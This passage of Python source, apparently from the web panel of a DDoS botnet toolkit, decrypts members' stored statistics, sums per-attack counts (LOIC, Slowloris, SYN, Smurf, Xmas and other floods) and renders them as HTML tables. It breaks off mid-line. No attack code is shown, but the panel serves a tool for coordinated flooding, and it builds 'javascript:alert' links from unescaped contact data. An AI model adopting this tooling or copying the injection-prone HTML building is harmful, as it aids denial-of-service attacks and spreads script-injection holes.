  6718. if self.decryptedtext:
  6719. grid_maxchargo = self.decryptedtext
  6720. else:
  6721. grid_maxchargo = nodec_text
  6722. self.decryptedtext = "" # clean decryptedtext buffer
  6723. try: # parse for int
  6724. grid_maxchargo = int(grid_maxchargo)
  6725. mothership_maxchargo = mothership_maxchargo + grid_maxchargo
  6726. except:
  6727. grid_maxchargo = nodec_text
  6728. grid_missions = m[6] # missions
  6729. self.decrypt(grid_key, grid_missions)
  6730. if self.decryptedtext:
  6731. grid_missions = self.decryptedtext
  6732. else:
  6733. grid_missions = nodec_text
  6734. self.decryptedtext = "" # clean decryptedtext buffer
  6735. try: # parse for int
  6736. grid_missions = int(grid_missions)
  6737. mothership_missions = mothership_missions + grid_missions
  6738. except:
  6739. grid_missions = nodec_text
  6740. grid_attacks = m[7] # attacks
  6741. self.decrypt(grid_key, grid_attacks)
  6742. if self.decryptedtext:
  6743. grid_attacks = self.decryptedtext
  6744. else:
  6745. grid_attacks = nodec_text
  6746. self.decryptedtext = "" # clean decryptedtext buffer
  6747. try: # parse for int
  6748. grid_attacks = int(grid_attacks)
  6749. mothership_attacks = mothership_attacks + grid_attacks
  6750. except:
  6751. grid_attacks = nodec_text
  6752. grid_loic = m[8] # loic
  6753. self.decrypt(grid_key, grid_loic)
  6754. if self.decryptedtext:
  6755. grid_loic = self.decryptedtext
  6756. else:
  6757. grid_loic = nodec_text
  6758. self.decryptedtext = "" # clean decryptedtext buffer
  6759. try: # parse for int
  6760. grid_loic = int(grid_loic)
  6761. mothership_loic = mothership_loic + grid_loic
  6762. except:
  6763. grid_loic = nodec_text
  6764. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  6765. grid_loris = m[9] # loris
  6766. self.decrypt(grid_key, grid_loris)
  6767. if self.decryptedtext:
  6768. grid_loris = self.decryptedtext
  6769. else:
  6770. grid_loris = nodec_text
  6771. self.decryptedtext = "" # clean decryptedtext buffer
  6772. try: # parse for int
  6773. grid_loris = int(grid_loris)
  6774. mothership_loris = mothership_loris + grid_loris
  6775. except:
  6776. grid_loris = nodec_text
  6777. else:
  6778. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  6779. self.decrypt(grid_key, grid_loris)
  6780. if self.decryptedtext:
  6781. grid_loris = self.decryptedtext
  6782. else:
  6783. grid_loris = nodec_text
  6784. self.decryptedtext = "" # clean decryptedtext buffer
  6785. try: # parse for int
  6786. grid_loris = int(grid_loris)
  6787. mothership_loris = mothership_loris + grid_loris
  6788. except:
  6789. grid_loris = nodec_text
  6790. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  6791. grid_ufosyn = m[10] # ufosyn
  6792. self.decrypt(grid_key, grid_ufosyn)
  6793. if self.decryptedtext:
  6794. grid_ufosyn = self.decryptedtext
  6795. else:
  6796. grid_ufosyn = nodec_text
  6797. self.decryptedtext = "" # clean decryptedtext buffer
  6798. try: # parse for int
  6799. grid_ufosyn = int(grid_ufosyn)
  6800. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  6801. except:
  6802. grid_ufosyn = nodec_text
  6803. else:
  6804. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  6805. self.decrypt(grid_key, grid_ufosyn)
  6806. if self.decryptedtext:
  6807. grid_ufosyn = self.decryptedtext
  6808. else:
  6809. grid_ufosyn = nodec_text
  6810. self.decryptedtext = "" # clean decryptedtext buffer
  6811. try: # parse for int
  6812. grid_ufosyn = int(grid_ufosyn)
  6813. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  6814. except:
  6815. grid_ufosyn = nodec_text
  6816. if version > 17 or version == 17 or version == 16 or version == 15:
  6817. grid_spray = m[11] # spray
  6818. self.decrypt(grid_key, grid_spray)
  6819. if self.decryptedtext:
  6820. grid_spray = self.decryptedtext
  6821. else:
  6822. grid_spray = nodec_text
  6823. self.decryptedtext = "" # clean decryptedtext buffer
  6824. try: # parse for int
  6825. grid_spray = int(grid_spray)
  6826. mothership_spray = mothership_spray + grid_spray
  6827. except:
  6828. grid_spray = nodec_text
  6829. else:
  6830. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  6831. self.decrypt(grid_key, grid_spray)
  6832. if self.decryptedtext:
  6833. grid_spray = self.decryptedtext
  6834. else:
  6835. grid_spray = nodec_text
  6836. self.decryptedtext = "" # clean decryptedtext buffer
  6837. try: # parse for int
  6838. grid_spray = int(grid_spray)
  6839. mothership_spray = mothership_spray + grid_spray
  6840. except:
  6841. grid_spray = nodec_text
  6842. if version > 17 or version == 17 or version == 16 or version == 15:
  6843. grid_smurf = m[12] # smurf
  6844. self.decrypt(grid_key, grid_smurf)
  6845. if self.decryptedtext:
  6846. grid_smurf = self.decryptedtext
  6847. else:
  6848. grid_smurf = nodec_text
  6849. self.decryptedtext = "" # clean decryptedtext buffer
  6850. try: # parse for int
  6851. grid_smurf = int(grid_smurf)
  6852. mothership_smurf = mothership_smurf + grid_smurf
  6853. except:
  6854. grid_smurf = nodec_text
  6855. else:
  6856. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  6857. self.decrypt(grid_key, grid_smurf)
  6858. if self.decryptedtext:
  6859. grid_smurf = self.decryptedtext
  6860. else:
  6861. grid_smurf = nodec_text
  6862. self.decryptedtext = "" # clean decryptedtext buffer
  6863. try: # parse for int
  6864. grid_smurf = int(grid_smurf)
  6865. mothership_smurf = mothership_smurf + grid_smurf
  6866. except:
  6867. grid_smurf = nodec_text
  6868. if version > 17 or version == 17 or version == 16 or version == 15:
  6869. grid_xmas = m[13] # xmas
  6870. self.decrypt(grid_key, grid_xmas)
  6871. if self.decryptedtext:
  6872. grid_xmas = self.decryptedtext
  6873. else:
  6874. grid_xmas = nodec_text
  6875. self.decryptedtext = "" # clean decryptedtext buffer
  6876. try: # parse for int
  6877. grid_xmas = int(grid_xmas)
  6878. mothership_xmas = mothership_xmas + grid_xmas
  6879. except:
  6880. grid_xmas = nodec_text
  6881. else:
  6882. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  6883. self.decrypt(grid_key, grid_xmas)
  6884. if self.decryptedtext:
  6885. grid_xmas = self.decryptedtext
  6886. else:
  6887. grid_xmas = nodec_text
  6888. self.decryptedtext = "" # clean decryptedtext buffer
  6889. try: # parse for int
  6890. grid_xmas = int(grid_xmas)
  6891. mothership_xmas = mothership_xmas + grid_xmas
  6892. except:
  6893. grid_xmas = nodec_text
  6894. if version > 17 or version == 17 or version == 16:
  6895. grid_nuke = m[14] # nuke
  6896. self.decrypt(grid_key, grid_nuke)
  6897. if self.decryptedtext:
  6898. grid_nuke = self.decryptedtext
  6899. else:
  6900. grid_nuke = nodec_text
  6901. self.decryptedtext = "" # clean decryptedtext buffer
  6902. try: # parse for int
  6903. grid_nuke = int(grid_nuke)
  6904. mothership_nuke = mothership_nuke + grid_nuke
  6905. except:
  6906. grid_nuke = nodec_text
  6907. else:
  6908. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  6909. self.decrypt(grid_key, grid_nuke)
  6910. if self.decryptedtext:
  6911. grid_nuke = self.decryptedtext
  6912. else:
  6913. grid_nuke = nodec_text
  6914. self.decryptedtext = "" # clean decryptedtext buffer
  6915. try: # parse for int
  6916. grid_nuke = int(grid_nuke)
  6917. mothership_nuke = mothership_nuke + grid_nuke
  6918. except:
  6919. grid_nuke = nodec_text
  6920. if version > 17 or version == 17:
  6921. grid_tachyon = m[15] # tachyon
  6922. self.decrypt(grid_key, grid_tachyon)
  6923. if self.decryptedtext:
  6924. grid_tachyon = self.decryptedtext
  6925. else:
  6926. grid_tachyon = nodec_text
  6927. self.decryptedtext = "" # clean decryptedtext buffer
  6928. try: # parse for int
  6929. grid_tachyon = int(grid_tachyon)
  6930. mothership_tachyon = mothership_tachyon + grid_tachyon
  6931. except:
  6932. grid_tachyon = nodec_text
  6933. else:
  6934. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  6935. self.decrypt(grid_key, grid_tachyon)
  6936. if self.decryptedtext:
  6937. grid_tachyon = self.decryptedtext
  6938. else:
  6939. grid_tachyon = nodec_text
  6940. self.decryptedtext = "" # clean decryptedtext buffer
  6941. try: # parse for int
  6942. grid_tachyon = int(grid_tachyon)
  6943. mothership_tachyon = mothership_tachyon + grid_tachyon
  6944. except:
  6945. grid_tachyon = nodec_text
  6946. if version > 17:
  6947. grid_monlist = m[16] # monlist
  6948. self.decrypt(grid_key, grid_monlist)
  6949. if self.decryptedtext:
  6950. grid_monlist = self.decryptedtext
  6951. else:
  6952. grid_monlist = nodec_text
  6953. self.decryptedtext = "" # clean decryptedtext buffer
  6954. try: # parse for int
  6955. grid_monlist = int(grid_monlist)
  6956. mothership_monlist = mothership_monlist + grid_monlist
  6957. except:
  6958. grid_monlist = nodec_text
  6959. grid_fraggle = m[17] # fraggle
  6960. self.decrypt(grid_key, grid_fraggle)
  6961. if self.decryptedtext:
  6962. grid_fraggle = self.decryptedtext
  6963. else:
  6964. grid_fraggle = nodec_text
  6965. self.decryptedtext = "" # clean decryptedtext buffer
  6966. try: # parse for int
  6967. grid_fraggle = int(grid_fraggle)
  6968. mothership_fraggle = mothership_fraggle + grid_fraggle
  6969. except:
  6970. grid_fraggle = nodec_text
  6971. grid_sniper = m[18] # sniper
  6972. self.decrypt(grid_key, grid_sniper)
  6973. if self.decryptedtext:
  6974. grid_sniper = self.decryptedtext
  6975. else:
  6976. grid_sniper = nodec_text
  6977. self.decryptedtext = "" # clean decryptedtext buffer
  6978. try: # parse for int
  6979. grid_sniper = int(grid_sniper)
  6980. mothership_sniper = mothership_sniper + grid_sniper
  6981. except:
  6982. grid_sniper = nodec_text
  6983. grid_ufoack = m[19] # ufoack
  6984. self.decrypt(grid_key, grid_ufoack)
  6985. if self.decryptedtext:
  6986. grid_ufoack = self.decryptedtext
  6987. else:
  6988. grid_ufoack = nodec_text
  6989. self.decryptedtext = "" # clean decryptedtext buffer
  6990. try: # parse for int
  6991. grid_ufoack = int(grid_ufoack)
  6992. mothership_ufoack = mothership_ufoack + grid_ufoack
  6993. except:
  6994. grid_ufoack = nodec_text
  6995. grid_uforst = m[20] # uforst
  6996. self.decrypt(grid_key, grid_uforst)
  6997. if self.decryptedtext:
  6998. grid_uforst = self.decryptedtext
  6999. else:
  7000. grid_uforst = nodec_text
  7001. self.decryptedtext = "" # clean decryptedtext buffer
  7002. try: # parse for int
  7003. grid_uforst = int(grid_uforst)
  7004. mothership_uforst = mothership_uforst + grid_uforst
  7005. except:
  7006. grid_uforst = nodec_text
  7007. grid_droper = m[21] # droper
  7008. self.decrypt(grid_key, grid_droper)
  7009. if self.decryptedtext:
  7010. grid_droper = self.decryptedtext
  7011. else:
  7012. grid_droper = nodec_text
  7013. self.decryptedtext = "" # clean decryptedtext buffer
  7014. try: # parse for int
  7015. grid_droper = int(grid_droper)
  7016. mothership_droper = mothership_droper + grid_droper
  7017. except:
  7018. grid_droper = nodec_text
  7019. grid_overlap = m[22] # overlap
  7020. self.decrypt(grid_key, grid_overlap)
  7021. if self.decryptedtext:
  7022. grid_overlap = self.decryptedtext
  7023. else:
  7024. grid_overlap = nodec_text
  7025. self.decryptedtext = "" # clean decryptedtext buffer
  7026. try: # parse for int
  7027. grid_overlap = int(grid_overlap)
  7028. mothership_overlap = mothership_overlap + grid_overlap
  7029. except:
  7030. grid_overlap = nodec_text
  7031. grid_pinger = m[23] # pinger
  7032. self.decrypt(grid_key, grid_pinger)
  7033. if self.decryptedtext:
  7034. grid_pinger = self.decryptedtext
  7035. else:
  7036. grid_pinger = nodec_text
  7037. self.decryptedtext = "" # clean decryptedtext buffer
  7038. try: # parse for int
  7039. grid_pinger = int(grid_pinger)
  7040. mothership_pinger = mothership_pinger + grid_pinger
  7041. except:
  7042. grid_pinger = nodec_text
  7043. grid_ufoudp = m[24] # ufoudp
  7044. self.decrypt(grid_key, grid_ufoudp)
  7045. if self.decryptedtext:
  7046. grid_ufoudp = self.decryptedtext
  7047. else:
  7048. grid_ufoudp = nodec_text
  7049. self.decryptedtext = "" # clean decryptedtext buffer
  7050. try: # parse for int
  7051. grid_ufoudp = int(grid_ufoudp)
  7052. mothership_ufoudp = mothership_ufoudp + grid_ufoudp
  7053. except:
  7054. grid_ufoudp = nodec_text
  7055. else:
  7056. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  7057. self.decrypt(grid_key, grid_monlist)
  7058. if self.decryptedtext:
  7059. grid_monlist = self.decryptedtext
  7060. else:
  7061. grid_monlist = nodec_text
  7062. self.decryptedtext = "" # clean decryptedtext buffer
  7063. try: # parse for int
  7064. grid_monlist = int(grid_monlist)
  7065. mothership_monlist = mothership_monlist + grid_monlist
  7066. except:
  7067. grid_monlist = nodec_text
  7068. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present
  7069. self.decrypt(grid_key, grid_fraggle)
  7070. if self.decryptedtext:
  7071. grid_fraggle = self.decryptedtext
  7072. else:
  7073. grid_fraggle = nodec_text
  7074. self.decryptedtext = "" # clean decryptedtext buffer
  7075. try: # parse for int
  7076. grid_fraggle = int(grid_fraggle)
  7077. mothership_fraggle = mothership_fraggle + grid_fraggle
  7078. except:
  7079. grid_fraggle = nodec_text
  7080. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present
  7081. self.decrypt(grid_key, grid_sniper)
  7082. if self.decryptedtext:
  7083. grid_sniper = self.decryptedtext
  7084. else:
  7085. grid_sniper = nodec_text
  7086. self.decryptedtext = "" # clean decryptedtext buffer
  7087. try: # parse for int
  7088. grid_sniper = int(grid_sniper)
  7089. mothership_sniper = mothership_sniper + grid_sniper
  7090. except:
  7091. grid_sniper = nodec_text
  7092. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present
  7093. self.decrypt(grid_key, grid_ufoack)
  7094. if self.decryptedtext:
  7095. grid_ufoack = self.decryptedtext
  7096. else:
  7097. grid_ufoack = nodec_text
  7098. self.decryptedtext = "" # clean decryptedtext buffer
  7099. try: # parse for int
  7100. grid_ufoack = int(grid_ufoack)
  7101. mothership_ufoack = mothership_ufoack + grid_ufoack
  7102. except:
  7103. grid_ufoack = nodec_text
  7104. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present
  7105. self.decrypt(grid_key, grid_uforst)
  7106. if self.decryptedtext:
  7107. grid_uforst = self.decryptedtext
  7108. else:
  7109. grid_uforst = nodec_text
  7110. self.decryptedtext = "" # clean decryptedtext buffer
  7111. try: # parse for int
  7112. grid_uforst = int(grid_uforst)
  7113. mothership_uforst = mothership_uforst + grid_uforst
  7114. except:
  7115. grid_uforst = nodec_text
  7116. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present
  7117. self.decrypt(grid_key, grid_droper)
  7118. if self.decryptedtext:
  7119. grid_droper = self.decryptedtext
  7120. else:
  7121. grid_droper = nodec_text
  7122. self.decryptedtext = "" # clean decryptedtext buffer
  7123. try: # parse for int
  7124. grid_droper = int(grid_droper)
  7125. mothership_droper = mothership_droper + grid_droper
  7126. except:
  7127. grid_droper = nodec_text
  7128. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present
  7129. self.decrypt(grid_key, grid_overlap)
  7130. if self.decryptedtext:
  7131. grid_overlap = self.decryptedtext
  7132. else:
  7133. grid_overlap = nodec_text
  7134. self.decryptedtext = "" # clean decryptedtext buffer
  7135. try: # parse for int
  7136. grid_overlap = int(grid_overlap)
  7137. mothership_overlap = mothership_overlap + grid_overlap
  7138. except:
  7139. grid_overlap = nodec_text
  7140. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present
  7141. self.decrypt(grid_key, grid_pinger)
  7142. if self.decryptedtext:
  7143. grid_pinger = self.decryptedtext
  7144. else:
  7145. grid_pinger = nodec_text
  7146. self.decryptedtext = "" # clean decryptedtext buffer
  7147. try: # parse for int
  7148. grid_pinger = int(grid_pinger)
  7149. mothership_pinger = mothership_pinger + grid_pinger
  7150. except:
  7151. grid_pinger = nodec_text
  7152. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present
  7153. self.decrypt(grid_key, grid_ufoudp)
  7154. if self.decryptedtext:
  7155. grid_ufoudp = self.decryptedtext
  7156. else:
  7157. grid_ufoudp = nodec_text
  7158. self.decryptedtext = "" # clean decryptedtext buffer
  7159. try: # parse for int
  7160. grid_ufoudp = int(grid_ufoudp)
  7161. mothership_ufoudp = mothership_ufoudp + grid_ufoudp
  7162. except:
  7163. grid_ufoudp = nodec_text
  7164. if version == 26:
  7165. grid_contact = m[25] # contact
  7166. self.decrypt(grid_key, grid_contact)
  7167. if self.decryptedtext:
  7168. grid_contact = self.decryptedtext
  7169. else:
  7170. grid_contact = nodec_text
  7171. self.decryptedtext = "" # clean decryptedtext buffer
  7172. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[25] = grid_contact (>str3<str120)
  7173. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7174. else:
  7175. try:
  7176. if " " in grid_contact: # m[25] = grid_contact
  7177. grid_contact = grid_contact.replace(" ","")
  7178. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7179. except:
  7180. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7181. try:
  7182. grid_id = m[26] # id
  7183. except:
  7184. grid_id = '6666666666666666666666666666666666666' # fake id
  7185. elif version == 17:
  7186. grid_contact = m[16] # contact
  7187. self.decrypt(grid_key, grid_contact)
  7188. if self.decryptedtext:
  7189. grid_contact = self.decryptedtext
  7190. else:
  7191. grid_contact = nodec_text
  7192. self.decryptedtext = "" # clean decryptedtext buffer
  7193. grid_contact = str(grid_contact) # contact
  7194. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[16] = grid_contact (>str3<str120)
  7195. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7196. else:
  7197. try:
  7198. if " " in grid_contact: # m[16] = grid_contact
  7199. grid_contact = grid_contact.replace(" ","")
  7200. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7201. except:
  7202. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7203. try:
  7204. grid_id = m[17] # id
  7205. except:
  7206. grid_id = '6666666666666666666666666666666666666' # fake id
  7207. elif version == 16:
  7208. grid_contact = m[15] # contact
  7209. self.decrypt(grid_key, grid_contact)
  7210. if self.decryptedtext:
  7211. grid_contact = self.decryptedtext
  7212. else:
  7213. grid_contact = nodec_text
  7214. self.decryptedtext = "" # clean decryptedtext buffer
  7215. grid_contact = str(grid_contact) # contact
  7216. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[15] = grid_contact (>str3<str120)
  7217. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7218. else:
  7219. try:
  7220. if " " in grid_contact: # m[15] = grid_contact
  7221. grid_contact = grid_contact.replace(" ","")
  7222. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7223. except:
  7224. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7225. try:
  7226. grid_id = m[16] # id
  7227. except:
  7228. grid_id = '6666666666666666666666666666666666666' # fake id
  7229. elif version == 15:
  7230. grid_contact = m[14] # contact
  7231. self.decrypt(grid_key, grid_contact)
  7232. if self.decryptedtext:
  7233. grid_contact = self.decryptedtext
  7234. else:
  7235. grid_contact = nodec_text
  7236. self.decryptedtext = "" # clean decryptedtext buffer
  7237. grid_contact = str(grid_contact) # contact
  7238. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3<str120)
  7239. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7240. else:
  7241. try:
  7242. if " " in grid_contact: # m[14] = grid_contact
  7243. grid_contact = grid_contact.replace(" ","")
  7244. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7245. except:
  7246. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7247. try:
  7248. grid_id = m[15] # id
  7249. except:
  7250. grid_id = '6666666666666666666666666666666666666' # fake id
  7251. elif version == 12:
  7252. grid_contact = m[11] # contact
  7253. self.decrypt(grid_key, grid_contact)
  7254. if self.decryptedtext:
  7255. grid_contact = self.decryptedtext
  7256. else:
  7257. grid_contact = nodec_text
  7258. self.decryptedtext = "" # clean decryptedtext buffer
  7259. grid_contact = str(grid_contact) # contact
  7260. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
  7261. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7262. else:
  7263. try:
  7264. if " " in grid_contact: # m[11] = grid_contact
  7265. grid_contact = grid_contact.replace(" ","")
  7266. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7267. except:
  7268. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7269. try:
  7270. grid_id = m[12] # id
  7271. except:
  7272. grid_id = '6666666666666666666666666666666666666' # fake id
  7273. elif version == 11:
  7274. grid_contact = m[10] # contact
  7275. self.decrypt(grid_key, grid_contact)
  7276. if self.decryptedtext:
  7277. grid_contact = self.decryptedtext
  7278. else:
  7279. grid_contact = nodec_text
  7280. self.decryptedtext = "" # clean decryptedtext buffer
  7281. grid_contact = str(grid_contact) # contact
  7282. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
  7283. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7284. else:
  7285. try:
  7286. if " " in grid_contact: # m[10] = grid_contact
  7287. grid_contact = grid_contact.replace(" ","")
  7288. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7289. except:
  7290. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7291. try:
  7292. grid_id = m[11] # id
  7293. except:
  7294. grid_id = '6666666666666666666666666666666666666' # fake id
  7295. elif version == 10:
  7296. grid_contact = m[9] # contact
  7297. self.decrypt(grid_key, grid_contact)
  7298. if self.decryptedtext:
  7299. grid_contact = self.decryptedtext
  7300. else:
  7301. grid_contact = nodec_text
  7302. self.decryptedtext = "" # clean decryptedtext buffer
  7303. grid_contact = str(grid_contact) # contact
  7304. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
  7305. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7306. else:
  7307. try:
  7308. if " " in grid_contact: # m[9] = grid_contact
  7309. grid_contact = grid_contact.replace(" ","")
  7310. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7311. except:
  7312. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7313. try:
  7314. grid_id = m[10] # id
  7315. except:
  7316. grid_id = '6666666666666666666666666666666666666' # fake id
  7317. else:
  7318. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7319. grid_id = '6666666666666666666666666666666666666' # fake id
  7320. try: # parsing for valid stream struct
  7321. grid_ranking = str(grid_ranking)
  7322. if grid_ranking == nodec_text: # hide any data when user is encrypted
  7323. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>"
  7324. grid_table += "<tr><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  7325. else:
  7326. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_fraggle)+"</td><td align='center'>"+str(grid_sniper)+"</td><td align='center'>"+str(grid_ufoack)+"</td><td align='center'>"+str(grid_uforst)+"</td><td align='center'>"+str(grid_droper)+"</td><td align='center'>"+str(grid_overlap)+"</td><td align='center'>"+str(grid_pinger)+"</td><td align='center'>"+str(grid_ufoudp)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  7327. except:
  7328. grid_table += "<tr><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td></tr>"
  7329. grid_table += "</table><br>"
  7330. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  7331. mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td align='right'><font color='orange' size='4'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td align='right'><font color='red' size='4'>"+str(member_5)+"</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>TRANSF:</td><td align='right'>"+str(mothership_transferred)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td><td>SPRAY:</td><td align='right'>"+str(mothership_spray)+"</td><td>SMURF:</td><td align='right'>"+str(mothership_smurf)+"</td></tr><tr><td>XMAS:</td><td align='right'>"+str(mothership_xmas)+"</td><td>NUKE:</td><td align='right'>"+str(mothership_nuke)+"</td><td>TACHYON:</td><td 